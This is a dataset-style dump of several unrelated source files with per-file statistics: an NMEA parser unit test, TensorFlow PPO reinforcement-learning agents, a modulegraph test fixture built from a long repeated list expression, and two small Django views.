self.assertEqual(formatter.parse(nmea_str)['data'][0], '101218')
self.assertEqual(formatter.parse(nmea_str)['data'][1], '161229')
self.assertEqual(formatter.parse(nmea_str)['data'][2], '21.31198')
self.assertEqual(formatter.parse(nmea_str)['data'][3], 'N')
self.assertEqual(formatter.parse(nmea_str)['data'][4], '157.88972')
self.assertEqual(formatter.parse(nmea_str)['data'][5], 'W')
self.assertEqual(formatter.parse(nmea_str)['data'][6], 'AUVSI')
self.assertEqual(formatter.parse(nmea_str)['data'][7], '2')
def test_parseNMEA_noChecksum(self):
nmea_str = '$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2'
self.assertEqual(formatter.parse(nmea_str, False)['talker'], 'RB')
self.assertEqual(formatter.parse(nmea_str, False)['sentence_type'], 'HRB')
self.assertEqual(formatter.parse(nmea_str, False)['data'][0], '101218')
self.assertEqual(formatter.parse(nmea_str, False)['data'][1], '161229')
self.assertEqual(formatter.parse(nmea_str, False)['data'][2], '21.31198')
self.assertEqual(formatter.parse(nmea_str, False)['data'][3], 'N')
self.assertEqual(formatter.parse(nmea_str, False)['data'][4], '157.88972')
self.assertEqual(formatter.parse(nmea_str, False)['data'][5], 'W')
self.assertEqual(formatter.parse(nmea_str, False)['data'][6], 'AUVSI')
self.assertEqual(formatter.parse(nmea_str, False)['data'][7], '2')
def test_parseNMEA_noChecksum_strict(self):
nmea_str = '$RBHRB,101218,161229,21.31198,N,157.88972,W,AUVSI,2'
with self.assertRaises(ValueError):
formatter.parse(nmea_str, True)
def test_parseNMEA_one_data(self):
nmea_str = '$RBHRB,Test*52'
self.assertEqual(formatter.parse(nmea_str)['talker'], 'RB')
self.assertEqual(formatter.parse(nmea_str)['sentence_type'], 'HRB')
self.assertEqual(formatter.parse(nmea_str)['data'][0], 'Test')
def test_parseNMEA_bad_checksum(self):
nmea_str = '$RBHRB,Test*28'
with self.assertRaises(ValueError):
formatter.parse(nmea_str)
if __name__ == '__main__':
unittest.main()
| 43.5
| 84
| 0.657471
| 568
| 4,350
| 4.890845
| 0.144366
| 0.167387
| 0.267819
| 0.188985
| 0.866091
| 0.846652
| 0.817135
| 0.778978
| 0.710583
| 0.532757
| 0
| 0.141465
| 0.174483
| 4,350
| 99
| 85
| 43.939394
| 0.632136
| 0.033563
| 0
| 0.305556
| 0
| 0.194444
| 0.245933
| 0.183254
| 0
| 0
| 0
| 0
| 0.458333
| 1
| 0.180556
| false
| 0
| 0.027778
| 0
| 0.222222
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f6a5449fbdfa23c05f8b337d0a730191e1495fb3
| 8,136
|
py
|
Python
|
lepetite/agents.py
|
cstorm125/lepetite
|
fed480a39984e8603da67baaa60080beb89ea9ef
|
[
"Apache-2.0"
] | 5
|
2019-12-06T07:06:59.000Z
|
2022-03-04T08:28:12.000Z
|
lepetite/agents.py
|
cstorm125/lepetite
|
fed480a39984e8603da67baaa60080beb89ea9ef
|
[
"Apache-2.0"
] | null | null | null |
lepetite/agents.py
|
cstorm125/lepetite
|
fed480a39984e8603da67baaa60080beb89ea9ef
|
[
"Apache-2.0"
] | 1
|
2020-04-20T13:34:32.000Z
|
2020-04-20T13:34:32.000Z
|
'''
PPO base translated to TF2 from https://github.com/seungeunrho/minimalRL
'''
import tensorflow as tf
from tensorflow.keras import layers, Model
import tensorflow_probability as tfp
class PPOCategorical(Model):
def __init__(self, input_dim = 4, hidden_dims = [64], output_dim = 2, lr = 5e-4,
gamma=1, lamb=0.95, eps_clip=0.1):
super(PPOCategorical, self).__init__()
self.input_dim = input_dim
self.hidden_dims = hidden_dims
self.output_dim = output_dim
self.lr = lr
self.gamma = gamma
self.lamb = lamb
self.eps_clip = eps_clip
self.loss_lst = []
self.trajectories = []
self.features = tf.keras.Sequential([layers.Dense(h, activation='relu') for h in self.hidden_dims])
self.actor = layers.Dense(self.output_dim, activation='softmax')
self.critic = layers.Dense(1, activation=None)
self.optimizer = tf.keras.optimizers.Adam(learning_rate=self.lr)
def act(self, x):
x = self.features(x)
prob = self.actor(x)
return prob
def critique(self, x):
x = self.features(x)
v = self.critic(x)
return v
def add(self, *args):
t = {'state':args[0],'action':args[1],'reward':args[2],
'next_state':args[3],'prob':args[4],'done':args[5]}
self.trajectories.append(t)
def make_batch(self):
states = tf.convert_to_tensor([t['state'] for t in self.trajectories],dtype=tf.float32)
actions = tf.convert_to_tensor([[t['action']] for t in self.trajectories],dtype=tf.int32)
rewards = tf.convert_to_tensor([[t['reward']] for t in self.trajectories],dtype=tf.float32)
next_states = tf.convert_to_tensor([t['next_state'] for t in self.trajectories],dtype=tf.float32)
probs = tf.convert_to_tensor([[t['prob']] for t in self.trajectories],dtype=tf.float32)
dones = tf.convert_to_tensor([[float(t['done'])] for t in self.trajectories],dtype=tf.float32)
self.trajectories = []
return states,actions,rewards,next_states,probs,dones
def compute_gae(self,states, next_states, rewards, dones):
q_targets = rewards + self.gamma * self.critique(next_states) * (1-dones)
deltas = q_targets - self.critique(states)
deltas = deltas.numpy()
advantage_lst = []
advantage = 0.0
for delta_t in deltas[::-1]:
advantage = (self.gamma * self.lamb * advantage) + delta_t[0]
advantage_lst.append([advantage])
advantage_lst.reverse()
advantages = tf.convert_to_tensor(advantage_lst, dtype=tf.float32)
return advantages
def train(self, update_times=3):
states,actions,rewards,next_states,probs,dones = self.make_batch()
for i in range(update_times):
#q targets to optimize critic
q_targets = rewards + self.gamma * self.critique(next_states) * (1-dones)
#advantages to optimize actor
advantages = self.compute_gae(states,next_states,rewards,dones)
#train
with tf.GradientTape() as tape:
preds = self.act(states)
action_idxs = tf.stack([tf.range(tf.shape(actions)[0]),actions[:,0]],axis=-1)
preds_a = tf.gather_nd(preds,action_idxs)[:,None]
ratio = tf.math.exp(tf.math.log(preds_a) - tf.math.log(probs))
surr1 = ratio * advantages
surr2 = tf.clip_by_value(ratio, 1-self.eps_clip, 1+self.eps_clip) * advantages
actor_loss = tf.math.minimum(surr1,surr2)
critic_loss_fn = tf.keras.losses.MeanSquaredError()
critic_loss = critic_loss_fn(q_targets, self.critique(states))
loss = -actor_loss + critic_loss
loss = tf.reduce_mean(loss)
gradients = tape.gradient(loss, self.trainable_weights)
self.optimizer.apply_gradients(zip(gradients,self.trainable_weights))
self.loss_lst.append(loss.numpy())
class PPOBernoulli(Model):
def __init__(self, input_dim=(10, 4), hidden_dim=30, output_dim=1,
lr = 5e-4, gamma=1, lamb=0.95, eps_clip=0.1):
super(PPOBernoulli, self).__init__()
self.input_dim = input_dim
self.hidden_dim = hidden_dim
self.output_dim = output_dim
self.lr = lr
self.gamma = gamma
self.lamb = lamb
self.eps_clip = eps_clip
#feature extraction
self.features = tf.keras.Sequential()
self.features.add(layers.Bidirectional(layers.GRU(hidden_dim, return_sequences=True), input_shape=input_dim))
#actor
self.actor = tf.keras.Sequential()
self.actor.add(layers.Dense(output_dim,activation='sigmoid'))
#critic
self.critic = tf.keras.Sequential()
self.critic.add(layers.Flatten())
self.critic.add(layers.Dense(1))
self.loss_lst = []
self.trajectories = []
self.optimizer = tf.keras.optimizers.Adam(learning_rate=self.lr)
def act(self,x):
x = self.features(x)
prob = self.actor(x)
return tf.squeeze(prob,-1)
def critique(self, x):
x = self.features(x)
v = self.critic(x)
return v
def add(self, *args):
t = {'state':args[0],'action':args[1],'reward':args[2],
'next_state':args[3],'prob':args[4],'done':args[5]}
self.trajectories.append(t)
def make_batch(self):
states = tf.convert_to_tensor([t['state'] for t in self.trajectories],dtype=tf.float32)
actions = tf.convert_to_tensor([t['action'] for t in self.trajectories],dtype=tf.int32)
rewards = tf.convert_to_tensor([[t['reward']] for t in self.trajectories],dtype=tf.float32)
next_states = tf.convert_to_tensor([t['next_state'] for t in self.trajectories],dtype=tf.float32)
probs = tf.convert_to_tensor([t['prob'] for t in self.trajectories],dtype=tf.float32)
dones = tf.convert_to_tensor([[float(t['done'])] for t in self.trajectories],dtype=tf.float32)
self.trajectories = []
return states,actions,rewards,next_states,probs,dones
def compute_gae(self,states, next_states, rewards, dones):
q_targets = rewards + self.gamma * self.critique(next_states) * (1-dones)
deltas = q_targets - self.critique(states)
deltas = deltas.numpy()
advantage_lst = []
advantage = 0.0
for delta_t in deltas[::-1]:
advantage = (self.gamma * self.lamb * advantage) + delta_t[0]
advantage_lst.append([advantage])
advantage_lst.reverse()
advantages = tf.convert_to_tensor(advantage_lst, dtype=tf.float32)
return advantages
def train(self, update_times=3):
states,actions,rewards,next_states,probs,dones = self.make_batch()
for i in range(update_times):
#q targets to optimize critic
q_targets = rewards + self.gamma * self.critique(next_states) * (1-dones)
#advantages to optimize actor
advantages = self.compute_gae(states,next_states,rewards,dones)
#train
with tf.GradientTape() as tape:
preds = self.act(states)
preds_a = tf.cast(actions,tf.float32) * preds + (1-tf.cast(actions,tf.float32)) * (1-preds)
ratio = tf.reduce_sum(tf.math.exp(tf.math.log(preds_a) - tf.math.log(probs)),1)[:,None]
surr1 = ratio * advantages
surr2 = tf.clip_by_value(ratio, 1-self.eps_clip, 1+self.eps_clip) * advantages
actor_loss = tf.reduce_mean(tf.math.minimum(surr1,surr2))
critic_loss_fn = tf.keras.losses.MeanSquaredError()
critic_loss = critic_loss_fn(q_targets, self.critique(states))
loss = -actor_loss + critic_loss
gradients = tape.gradient(loss, self.trainable_weights)
self.optimizer.apply_gradients(zip(gradients,self.trainable_weights))
self.loss_lst.append(loss.numpy())
| 44.950276
| 117
| 0.620452
| 1,067
| 8,136
| 4.569822
| 0.14433
| 0.059065
| 0.031583
| 0.048811
| 0.823626
| 0.803527
| 0.781788
| 0.781788
| 0.781788
| 0.766202
| 0
| 0.017495
| 0.255285
| 8,136
| 181
| 118
| 44.950276
| 0.787259
| 0.027532
| 0
| 0.744828
| 0
| 0
| 0.020008
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.096552
| false
| 0
| 0.02069
| 0
| 0.186207
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f6b6f892e43b22ca6ed9016c5358f66c624b6ac5
| 18,075
|
py
|
Python
|
telemetry/third_party/modulegraph/modulegraph_tests/testpkg-regr6/module.py
|
tingshao/catapult
|
a8fe19e0c492472a8ed5710be9077e24cc517c5c
|
[
"BSD-3-Clause"
] | 2,151
|
2020-04-18T07:31:17.000Z
|
2022-03-31T08:39:18.000Z
|
tests/unit/test_modulegraph/testpkg-regr6/module.py
|
jeremysanders/pyinstaller
|
321b24f9a9a5978337735816b36ca6b4a90a2fb4
|
[
"Apache-2.0"
] | 395
|
2020-04-18T08:22:18.000Z
|
2021-12-08T13:04:49.000Z
|
tests/unit/test_modulegraph/testpkg-regr6/module.py
|
jeremysanders/pyinstaller
|
321b24f9a9a5978337735816b36ca6b4a90a2fb4
|
[
"Apache-2.0"
] | 338
|
2020-04-18T08:03:10.000Z
|
2022-03-29T12:33:22.000Z
|
ds = {
'name': [
list(1)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
+ list(2)
]
}
import os
| 17.89604
| 17
| 0.277953
| 2,008
| 18,075
| 2.501992
| 0.003486
| 0.996218
| 1.791401
| 1.990446
| 0.996218
| 0.996218
| 0.996218
| 0.996218
| 0.996218
| 0.996218
| 0
| 0.124673
| 0.555353
| 18,075
| 1,009
| 18
| 17.913776
| 0.500435
| 0
| 0
| 0.994042
| 0
| 0
| 0.000221
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.000993
| 0
| 0.000993
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
123986ab88aa7bdc2d83b5721e0908592f95c8a1
| 229
|
py
|
Python
|
web/views/web/welcome.py
|
ekiapek/repopy
|
6d4afed4258bb7901cc4cbf441cecf6f445eace7
|
[
"MIT"
] | null | null | null |
web/views/web/welcome.py
|
ekiapek/repopy
|
6d4afed4258bb7901cc4cbf441cecf6f445eace7
|
[
"MIT"
] | null | null | null |
web/views/web/welcome.py
|
ekiapek/repopy
|
6d4afed4258bb7901cc4cbf441cecf6f445eace7
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
from django.http import HttpResponse
def index(request):
return render(request, "web/welcome/welcome.html")
def create_repo(request):
return render(request, "web/welcome/create.html")
| 28.625
| 54
| 0.777293
| 31
| 229
| 5.709677
| 0.516129
| 0.112994
| 0.214689
| 0.293785
| 0.40678
| 0.40678
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117904
| 229
| 8
| 55
| 28.625
| 0.876238
| 0
| 0
| 0
| 0
| 0
| 0.204348
| 0.204348
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
124f455bfcda3aa704e777252264b0cf3ec63470
| 182
|
py
|
Python
|
{{cookiecutter.github_repository}}/tests/unit/test_api_versioning.py
|
Fueled/django-in
|
b0138df6c7100de002950f94f141353f954b8174
|
[
"BSD-3-Clause"
] | 150
|
2016-03-31T22:15:55.000Z
|
2022-03-20T00:23:50.000Z
|
{{cookiecutter.github_repository}}/tests/unit/test_api_versioning.py
|
Fueled/django-in
|
b0138df6c7100de002950f94f141353f954b8174
|
[
"BSD-3-Clause"
] | 170
|
2016-03-08T10:05:10.000Z
|
2022-01-17T09:26:41.000Z
|
{{cookiecutter.github_repository}}/tests/unit/test_api_versioning.py
|
Fueled/django-in
|
b0138df6c7100de002950f94f141353f954b8174
|
[
"BSD-3-Clause"
] | 49
|
2016-03-16T15:36:38.000Z
|
2022-02-12T08:16:31.000Z
|
def test_api_default_and_allowed_versions(settings):
assert settings.REST_FRAMEWORK["DEFAULT_VERSION"] == "1.0"
assert settings.REST_FRAMEWORK["ALLOWED_VERSIONS"] == ["1.0"]
| 45.5
| 65
| 0.763736
| 24
| 182
| 5.416667
| 0.583333
| 0.230769
| 0.276923
| 0.415385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02439
| 0.098901
| 182
| 3
| 66
| 60.666667
| 0.768293
| 0
| 0
| 0
| 0
| 0
| 0.203297
| 0
| 0
| 0
| 0
| 0
| 0.666667
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
125dcc1c8896588ecc5740bd05706f220a1093ba
| 69,508
|
py
|
Python
|
meshless/espim/plate2d_add_k0s_edge_based.py
|
compmech/meshless
|
13af29e5003836dca521bbdc707dbc1319fa4516
|
[
"BSD-2-Clause"
] | 8
|
2017-06-16T15:50:43.000Z
|
